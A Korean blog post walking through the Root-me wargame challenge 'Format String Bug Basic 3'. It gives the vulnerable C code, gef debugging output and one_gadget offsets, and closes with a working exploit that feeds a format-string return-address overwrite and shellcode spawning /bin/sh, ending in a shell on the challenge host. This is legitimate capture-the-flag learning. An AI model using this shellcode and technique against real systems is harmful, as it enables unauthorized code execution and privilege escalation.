[App-System] ELF x86 - Format String Bug Basic 3

2022. 7. 13. 06:56·Wargame/Root me
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
 
int main(int argc, char ** argv)
{
 
    // char    log_file = "/var/log/bin_error.log";
    char    outbuf[512];
    char    buffer[512];
    char    user[12];
 
    char *username = "root-me";
 
    // FILE *fp_log = fopen(log_file, "a");
 
    printf("Username: ");
    fgets(user, sizeof(user), stdin);
    user[strlen(user) - 1] = '\0';
 
    if (strcmp(user, username)) {
 
        sprintf (buffer, "ERR Wrong user: %400s", user);
        sprintf (outbuf, buffer);
        // fprintf (fp_log, "%s\n", outbuf);
   
        printf("Bad username: %s\n", user);
    }
   
    else {
 
        printf("Hello %s ! How are you ?\n", user);
    }
    // fclose(fp_log);
    return 0;
 
}

2.2. 분석

fgets 함수로 user 변수의 크기만큼 문자열을 받는다.

이후 끝에 \0을 넣고, 이를 username과 비교한 다음 다르면 이를 outbuf에 복사하고 출력한 뒤 종료한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

sprintf(outbuf, buffer)에서 format string bug가 발생한다.

 

3.2. 공격 준비

user 변수에 삽입 가능한 문자열 크기가 12 bytes 밖에 되지 않기에 많은 데이터 조작은 불가하다.

그래서 그나마 최소화할 수 있는 onegadget을 사용하려 계획하였다.

 

우선 ldd 명령어를 통해 문제 파일의 libc 파일을 확인하고 offset을 확인한 뒤 로컬에 libc 파일을 다운로드하였다.

app-systeme-ch17@challenge02:~$ ldd ch17
        linux-gate.so.1 (0xb7fd7000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7deb000)
        /lib/ld-linux.so.2 (0xb7fd8000)
app-systeme-ch17@challenge02:~$ gef /lib/i386-linux-gnu/libc.so.6 
Reading symbols from /lib/i386-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug//lib/i386-linux-gnu/libc-2.27.so...done.
done.
GEF for linux ready, type `gef' to start, `gef config' to configure
96 commands loaded for GDB 8.1.1 using Python engine 3.6
gef➤  p system
$1 = {int (const char *)} 0x3d3d0 <__libc_system>
gef➤  p read
$2 = {ssize_t (int, void *, size_t)} 0xe6e40 <__GI___libc_read>
gef➤  p write
$3 = {ssize_t (int, const void *, size_t)} 0xe6f10 <__GI___libc_write>

https://libc.rip/download/libc6_2.27-3ubuntu1.5_i386.so

이후 onegadget을 통해 offset 확인.

┌──(kali㉿kali)-[~/Downloads]
└─$ one_gadget ./libc6_2.27-3ubuntu1.5_i386.so 
0x3d2a3 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x3d2a5 execve("/bin/sh", esp+0x38, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x38] == NULL

0x3d2a9 execve("/bin/sh", esp+0x3c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x3c] == NULL

0x3d2b0 execve("/bin/sh", esp+0x40, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x40] == NULL

0x67ccf execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x67cd0 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

0x137eee execl("/bin/sh", eax)
constraints:
  ebx is the GOT address of libc
  eax == NULL

0x137eef execl("/bin/sh", [esp])
constraints:
  ebx is the GOT address of libc
  [esp] == NULL

문제 환경에서 ASLR이 걸려있지 않아 memory leak은 불필요하다.

libc base address는 아래와 같기에

gef➤  vmmap
...
0xb7deb000 0xb7fc0000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so
...

onegadget 주소를 더해 그곳으로 return 하면 될 것이다.

그리고 문제 파일의 ret address와 ebp+8의 주소를 확인해두었다.

0xbffffb3c│+0x0000: 0xb7e03fa1

 

우선 임의의 값을 삽입해보았는데, 

gef➤  r <<< $(python -c 'print "\x3c\xfb\xff\xbf" + "%hn"')
Starting program: /challenge/app-systeme/ch17/ch17 <<< $(python -c 'print "\x3c\xfb\xff\xbf" + "%hn"')
Username: Bad username: <���%hn
...
───────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xbffffb3c│+0x0000: 0xb7e0019d  →  0x02000200    ← $esp
...

예상대로 값이 삽입되었다.

 

다만, stack의 값들을 보니 아래와 같이 %400s에 의해 수많은 0x20이 삽입된 것을 볼 수 있었다.

gef➤  x/100wx $esp
0xbffff734:     0x41414141      0x41414141      0x00004141      0x20525245
0xbffff744:     0x6e6f7257      0x73752067      0x203a7265      0x20202020
0xbffff754:     0x20202020      0x20202020      0x20202020      0x20202020
0xbffff764:     0x20202020      0x20202020      0x20202020      0x20202020
0xbffff774:     0x20202020      0x20202020      0x20202020      0x20202020
...

그렇다면 굳이 %n을 통한 값 overwrite가 아니라 그냥 %c를 통해 추가로 공백을 확보할 수 있지 않을까 해서 시도해보았는데, 잘 삽입되는 것을 볼 수 있었다.

gef➤  r
Starting program: /challenge/app-systeme/ch17/ch17 
Username: AAAA
Bad username: AAAA
...
Breakpoint 2, 0x080485e6 in main ()
gef➤  x/400gx $esp
0xbffff734:     0xbfff000041414141      0x20525245bffff788
...
0xbffffad4:     0x2020202020202020      0x0000000041414141

gef➤  r
Starting program: /challenge/app-systeme/ch17/ch17 
Username: %100cAAAA
Bad username: %100cAAAA
Breakpoint 2, 0x080485e6 in main ()
gef➤  x/400gx $esp
0xbffff734:     0x4141416330303125      0x20525245bf000041
...
0xbffffb34:     0x4125202020202020      0x0804867000414141

대략 offset을 확인해서 원하는 주소를 삽입하면 되겠다.

 

4. exploit

위와 같이 시나리오 구성 후 onegadget 주소로 return 하였는데, 자꾸 반응이 없다.

혹시나 하여 말미에 ;cat을 통한 파이프를 살려보았는데도 onegadget으로는 안된다.

그래서 문제의 코드에 main 함수가 인자를 받는 것을 이용해서 인자로 넘긴 후 해당 위치로 return 하도록 시나리오를 변경하였다.

app-systeme-ch17@challenge02:~$ (python -c 'print "%117c" + "\xbc\xfc\xff\xbf"';cat) |  ./ch17 `python -c 'print "\x90"*1000 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
Username: Bad username: %117c����
id
uid=1217(app-systeme-ch17-cracked) gid=1117(app-systeme-ch17) groups=1117(app-systeme-ch17),100(users)
cat .passwd
#----------플래그는 삭제

 


본 글의 포스팅 날짜를 보면 7월 13일인데 사실 이 글은 10월 말에 쓰고 있다.

그 때 안풀려서 처박아두었던 것을 3개월이 지나서야 풀었다.......

이렇게 쉬운데 왜 그땐 생각이 나질 않았는지 ㅠㅠ

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Wargame > Root me' 카테고리의 다른 글

[Cracking] ELF x86 - 0 protection  (0) 2022.07.15
[App-Script] Bash - System 1  (0) 2022.07.15
[App-System] ELF x86 - Stack buffer overflow basic 6  (0) 2022.07.12
[App-System] ELF x86 - Stack buffer overflow basic 4  (0) 2022.07.11
[App-System] ELF x64 - Double free  (0) 2022.07.09
'Wargame/Root me' 카테고리의 다른 글
  • [Cracking] ELF x86 - 0 protection
  • [App-Script] Bash - System 1
  • [App-System] ELF x86 - Stack buffer overflow basic 6
  • [App-System] ELF x86 - Stack buffer overflow basic 4
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (495) N
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (24) N
        • Theory (15)
        • Exercise (2) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    pwnable.kr
    x86
    tcache
    heap
    docker
    32bit
    Buffer Overflow
    ROOT ME
    vtable
    64bit
    cryptohack
    libc
    FSB
    Format String Bug
    Me
    _IO_FILE
    hackerschool
    lob
    la ctf
    RTL
    phoenix
    rop
    root-me
    pwntools
    root
    dreamhack
    x64
    exploit education
    BOF
    CANARY
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App-System] ELF x86 - Format String Bug Basic 3
상단으로

티스토리툴바